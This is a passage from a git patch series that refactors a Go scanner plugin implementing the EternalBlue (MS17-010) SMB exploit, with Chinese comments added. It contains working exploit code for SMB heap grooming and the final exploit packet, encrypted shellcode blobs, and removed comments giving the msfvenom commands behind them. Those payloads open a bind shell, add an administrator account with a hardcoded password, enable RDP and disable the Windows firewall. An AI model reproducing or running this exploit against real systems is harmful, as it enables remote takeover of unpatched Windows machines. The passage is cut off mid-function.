v := range segmentCounts { + sortMap[k] = v + } + + // 获取TOP N结果 + for i := 0; i < length && len(sortMap) > 0; i++ { + maxSegment := "" + maxCount := 0 + + // 查找当前最大值 + for segment, count := range sortMap { + if count > maxCount { + maxCount = count + maxSegment = segment } } - arrTop = append(arrTop, maxCountKey) - arrLen = append(arrLen, maxCountVal) - i++ - if i >= length { - return - } - delete(arrMap2, maxCountKey) + + // 添加到结果集 + arrTop = append(arrTop, maxSegment) + arrLen = append(arrLen, maxCount) + + // 从待处理map中删除已处理项 + delete(sortMap, maxSegment) } + return } From e39363dce07382f2c7c45ba0bcf717e997642dfd Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:29 +0800 Subject: [PATCH 21/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MS17010-Exp.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MS17010-Exp.go | 1623 ++++++++++++++++++++++++---------------- 1 file changed, 969 insertions(+), 654 deletions(-) diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index 8b78405..f537271 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -14,31 +14,53 @@ import ( "time" ) +// MS17010EXP 执行MS17-010漏洞利用 func MS17010EXP(info *Config.HostInfo) { address := info.Host + ":445" var sc string + + // 根据不同类型选择shellcode switch Common.SC { case "bind": - //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex + // msfvenom生成的Bind Shell, 监听64531端口 sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err)) + return + } + case "cs": - //cs gen C shellcode -> fmt.Printf("%x", c) -> hex + // Cobalt Strike生成的shellcode sc = "" + case "add": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + // 添加系统管理员账户并配置远程访问 sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err)) + return + } + case "guest": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user Guest /active:yes && net user Guest "1qaz@WSX!@#4" && net localgroup Administrators Guest /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + // 激活Guest账户并配置远程访问 sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err)) + return + } + default: + // 从文件读取或直接使用提供的shellcode if strings.Contains(Common.SC, "file:") { read, err := ioutil.ReadFile(Common.SC[5:]) if err != nil { - errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", Common.SC, err) - Common.LogError(errlog) + Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.SC, err)) return } sc = fmt.Sprintf("%x", read) @@ -47,817 +69,1055 @@ func MS17010EXP(info *Config.HostInfo) { } } + // 验证shellcode有效性 if len(sc) < 20 { - fmt.Println("[-] no such sc") + fmt.Println("[-] 无效的Shellcode") return } + // 解码shellcode sc1, err := hex.DecodeString(sc) if err != nil { - Common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error()) + Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err)) return } + + // 执行EternalBlue漏洞利用 err = eternalBlue(address, 12, 12, sc1) if err != nil { - Common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error()) + Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err)) return } - Common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end") + + Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host)) } +// eternalBlue 执行EternalBlue漏洞利用 func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { - // check sc size - const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 - l := len(sc) - if l > maxscSize { - //fmt.Println(maxscSize) - return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) + // 检查shellcode大小 + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 + scLen := len(sc) + if scLen > maxscSize { + return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)", + scLen, maxscSize, scLen-maxscSize) } + + // 构造内核用户空间payload payload := makeKernelUserPayload(sc) + + // 多次尝试利用 var ( grooms int err error ) for i := 0; i < maxAttempts; i++ { grooms = initialGrooms + 5*i - err = exploit(address, grooms, payload) - if err == nil { - return nil + if err = exploit(address, grooms, payload); err == nil { + return nil // 利用成功 } } - return err + + return err // 返回最后一次尝试的错误 } +// exploit 执行EternalBlue漏洞利用核心逻辑 func exploit(address string, grooms int, payload []byte) error { - // connect host + // 建立SMB1匿名IPC连接 header, conn, err := smb1AnonymousConnectIPC(address) if err != nil { - return err + return fmt.Errorf("[-] 建立SMB连接失败: %v", err) } defer func() { _ = conn.Close() }() - // send SMB1 large buffer - _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - err = smb1LargeBuffer(conn, header) - if err != nil { - return err + + // 发送SMB1大缓冲区数据 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) } - // initialize groom threads + if err = smb1LargeBuffer(conn, header); err != nil { + return fmt.Errorf("[-] 发送大缓冲区失败: %v", err) + } + + // 初始化内存喷射线程 fhsConn, err := smb1FreeHole(address, true) if err != nil { - return err + return fmt.Errorf("[-] 初始化内存喷射失败: %v", err) } defer func() { _ = fhsConn.Close() }() - // groom socket + + // 第一轮内存喷射 groomConns, err := smb2Grooms(address, grooms) if err != nil { - return err + return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err) } + + // 释放内存并执行第二轮喷射 fhfConn, err := smb1FreeHole(address, false) if err != nil { - return err + return fmt.Errorf("[-] 释放内存失败: %v", err) } _ = fhsConn.Close() - // grooms + + // 执行第二轮内存喷射 groomConns2, err := smb2Grooms(address, 6) if err != nil { - return err + return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err) } _ = fhfConn.Close() + + // 合并所有喷射连接 groomConns = append(groomConns, groomConns2...) defer func() { - for i := 0; i < len(groomConns); i++ { - _ = groomConns[i].Close() + for _, conn := range groomConns { + _ = conn.Close() } }() - //fmt.Println("Running final exploit packet") - err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - if err != nil { - return err + // 发送最终漏洞利用数据包 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) } - treeID := header.TreeID - userID := header.UserID - finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") - _, err = conn.Write(finalPacket) - if err != nil { - return fmt.Errorf("failed to send final exploit packet: %s", err) + + finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") + if _, err = conn.Write(finalPacket); err != nil { + return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err) } + + // 获取响应并检查状态 raw, _, err := smb1GetResponse(conn) if err != nil { - return fmt.Errorf("failed to get response about exploit: %s", err) + return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err) } - ntStatus := make([]byte, 4) - ntStatus[0] = raw[8] - ntStatus[1] = raw[7] - ntStatus[2] = raw[6] - ntStatus[3] = raw[5] - //fmt.Printf("NT Status: 0x%08X\n", ntStatus) - - //fmt.Println("send the payload with the grooms") + // 提取NT状态码 + ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} + Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus)) + // 发送payload + Common.LogSuccess("[*] 开始发送Payload") body := makeSMB2Body(payload) - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[:2920]) - if err != nil { - return err + // 分段发送payload + for _, conn := range groomConns { + if _, err = conn.Write(body[:2920]); err != nil { + return fmt.Errorf("[-] 发送Payload第一段失败: %v", err) } } - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[2920:4073]) - if err != nil { - return err + + for _, conn := range groomConns { + if _, err = conn.Write(body[2920:4073]); err != nil { + return fmt.Errorf("[-] 发送Payload第二段失败: %v", err) } } + + Common.LogSuccess("[+] Payload发送完成") return nil } +// makeKernelUserPayload 构建内核用户空间Payload func makeKernelUserPayload(sc []byte) []byte { - // test DoublePulsar + // 创建缓冲区 buf := bytes.Buffer{} + + // 写入loader代码 buf.Write(loader[:]) - // write sc size + + // 写入shellcode大小(uint16) size := make([]byte, 2) binary.LittleEndian.PutUint16(size, uint16(len(sc))) buf.Write(size) + + // 写入shellcode内容 buf.Write(sc) + return buf.Bytes() } +// smb1AnonymousConnectIPC 创建SMB1匿名IPC连接 func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + // 建立TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, nil, fmt.Errorf("failed to connect host: %s", err) + return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err) } + + // 连接状态标记 var ok bool defer func() { if !ok { _ = conn.Close() } }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to negotiate: %s", err) + + // SMB协议协商 + if err = smbClientNegotiate(conn); err != nil { + return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) } + + // 匿名登录 raw, header, err := smb1AnonymousLogin(conn) if err != nil { - return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) + return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err) } - _, err = getOSName(raw) - if err != nil { - return nil, nil, fmt.Errorf("failed to get OS name: %s", err) + + // 获取系统版本信息 + if _, err = getOSName(raw); err != nil { + return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err) } - //fmt.Println("OS:", osName) + + // 连接IPC共享 header, err = treeConnectAndX(conn, address, header.UserID) if err != nil { - return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) + return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err) } + ok = true return header, conn, nil } +// SMB头部大小常量 const smbHeaderSize = 32 +// smbHeader SMB协议头部结构 type smbHeader struct { - ServerComponent [4]byte - SMBCommand uint8 - ErrorClass uint8 - Reserved byte - ErrorCode uint16 - Flags uint8 - Flags2 uint16 - ProcessIDHigh uint16 - Signature [8]byte - Reserved2 [2]byte - TreeID uint16 - ProcessID uint16 - UserID uint16 - MultiplexID uint16 + ServerComponent [4]byte // 服务器组件标识 + SMBCommand uint8 // SMB命令码 + ErrorClass uint8 // 错误类别 + Reserved byte // 保留字节 + ErrorCode uint16 // 错误代码 + Flags uint8 // 标志位 + Flags2 uint16 // 扩展标志位 + ProcessIDHigh uint16 // 进程ID高位 + Signature [8]byte // 签名 + Reserved2 [2]byte // 保留字节 + TreeID uint16 // 树连接ID + ProcessID uint16 // 进程ID + UserID uint16 // 用户ID + MultiplexID uint16 // 多路复用ID } +// smb1GetResponse 获取SMB1协议响应数据 func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { - // net BIOS + // 读取NetBIOS会话服务头 buf := make([]byte, 4) - _, err := io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about NetBIOS session service: %s" - return nil, nil, fmt.Errorf(format, err) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err) } - typ := buf[0] - if typ != 0x00 { - const format = "invalid message type 0x%02X in SMB1 response" - return nil, nil, fmt.Errorf(format, typ) + + // 校验消息类型 + messageType := buf[0] + if messageType != 0x00 { + return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType) } + + // 解析消息体大小 sizeBuf := make([]byte, 4) copy(sizeBuf[1:], buf[1:]) - size := int(binary.BigEndian.Uint32(sizeBuf)) - // SMB - buf = make([]byte, size) - _, err = io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about header: %s" - return nil, nil, fmt.Errorf(format, err) + messageSize := int(binary.BigEndian.Uint32(sizeBuf)) + + // 读取SMB消息体 + buf = make([]byte, messageSize) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err) } - smbHeader := smbHeader{} + + // 解析SMB头部 + header := smbHeader{} reader := bytes.NewReader(buf[:smbHeaderSize]) - err = binary.Read(reader, binary.LittleEndian, &smbHeader) - if err != nil { - const format = "failed to parse SMB1 response header: %s" - return nil, nil, fmt.Errorf(format, err) + if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { + return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err) } - return buf, &smbHeader, nil + + return buf, &header, nil } +// smbClientNegotiate 执行SMB协议协商 func smbClientNegotiate(conn net.Conn) error { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x54}) - - // --------Server Message Block Protocol-------- - - // server_component: .SMB - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb_command: Negotiate Protocol - buf.WriteByte(0x72) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x28}) - // process_id_high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Negotiate Protocol Request-------- - - // word_count - buf.WriteByte(0x00) - // byte_count - buf.Write([]byte{0x31, 0x00}) - - // dialect name: LAN MAN1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, - 0x30, 0x00}) - - // dialect name: LM1.2X002 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, - 0x32, 0x00}) - - // dialect name: NT LAN MAN 1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, - 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) - - // dialect name: NT LM 0.12 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, - 0x31, 0x32, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return err + // 构造NetBIOS会话服务头 + if err := writeNetBIOSHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) } - _, _, err = smb1GetResponse(conn) - return err + + // 构造SMB协议头 + if err := writeSMBHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造协议协商请求 + if err := writeNegotiateRequest(&buf); err != nil { + return fmt.Errorf("[-] 构造协议协商请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err) + } + + // 获取响应 + if _, _, err := smb1GetResponse(conn); err != nil { + return fmt.Errorf("[-] 获取协议协商响应失败: %v", err) + } + + return nil } +// writeNetBIOSHeader 写入NetBIOS会话服务头 +func writeNetBIOSHeader(buf *bytes.Buffer) error { + // 消息类型: Session Message + buf.WriteByte(0x00) + // 长度(固定值) + buf.Write([]byte{0x00, 0x00, 0x54}) + return nil +} + +// writeSMBHeader 写入SMB协议头 +func writeSMBHeader(buf *bytes.Buffer) error { + // SMB协议标识: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Negotiate Protocol + buf.WriteByte(0x72) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x01, 0x28}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0x2F, 0x4B}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0xC5, 0x5E}) + return nil +} + +// writeNegotiateRequest 写入协议协商请求 +func writeNegotiateRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x00) + // 字节数 + buf.Write([]byte{0x31, 0x00}) + + // 写入支持的方言 + dialects := [][]byte{ + {0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00}, // LAN MAN1.0 + {0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00}, // LM1.2X002 + {0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}, // NT LAN MAN 1.0 + {0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00}, // NT LM 0.12 + } + + for _, dialect := range dialects { + buf.WriteByte(0x02) // 方言标记 + buf.Write(dialect) + } + + return nil +} + +// smb1AnonymousLogin 执行SMB1匿名登录 func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- - - // session message - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x88}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT SUCCESS - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // Signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // Signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // TreeID - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0D) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x88, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC Number - buf.Write([]byte{0x00, 0x00}) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // ANSI password length - buf.Write([]byte{0x01, 0x00}) - // unicode password length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) - // bytes count - buf.Write([]byte{0x4b, 0x00}) - // ANSI password - buf.WriteByte(0x00) - // account name - buf.Write([]byte{0x00, 0x00}) - // domain name - buf.Write([]byte{0x00, 0x00}) - - // native OS: Windows 2000 2195 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) - buf.Write([]byte{0x00, 0x00}) - - // native LAN manager: Windows 2000 5.0 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, nil, err + // 构造NetBIOS会话服务头 + if err := writeNetBIOSLoginHeader(&buf); err != 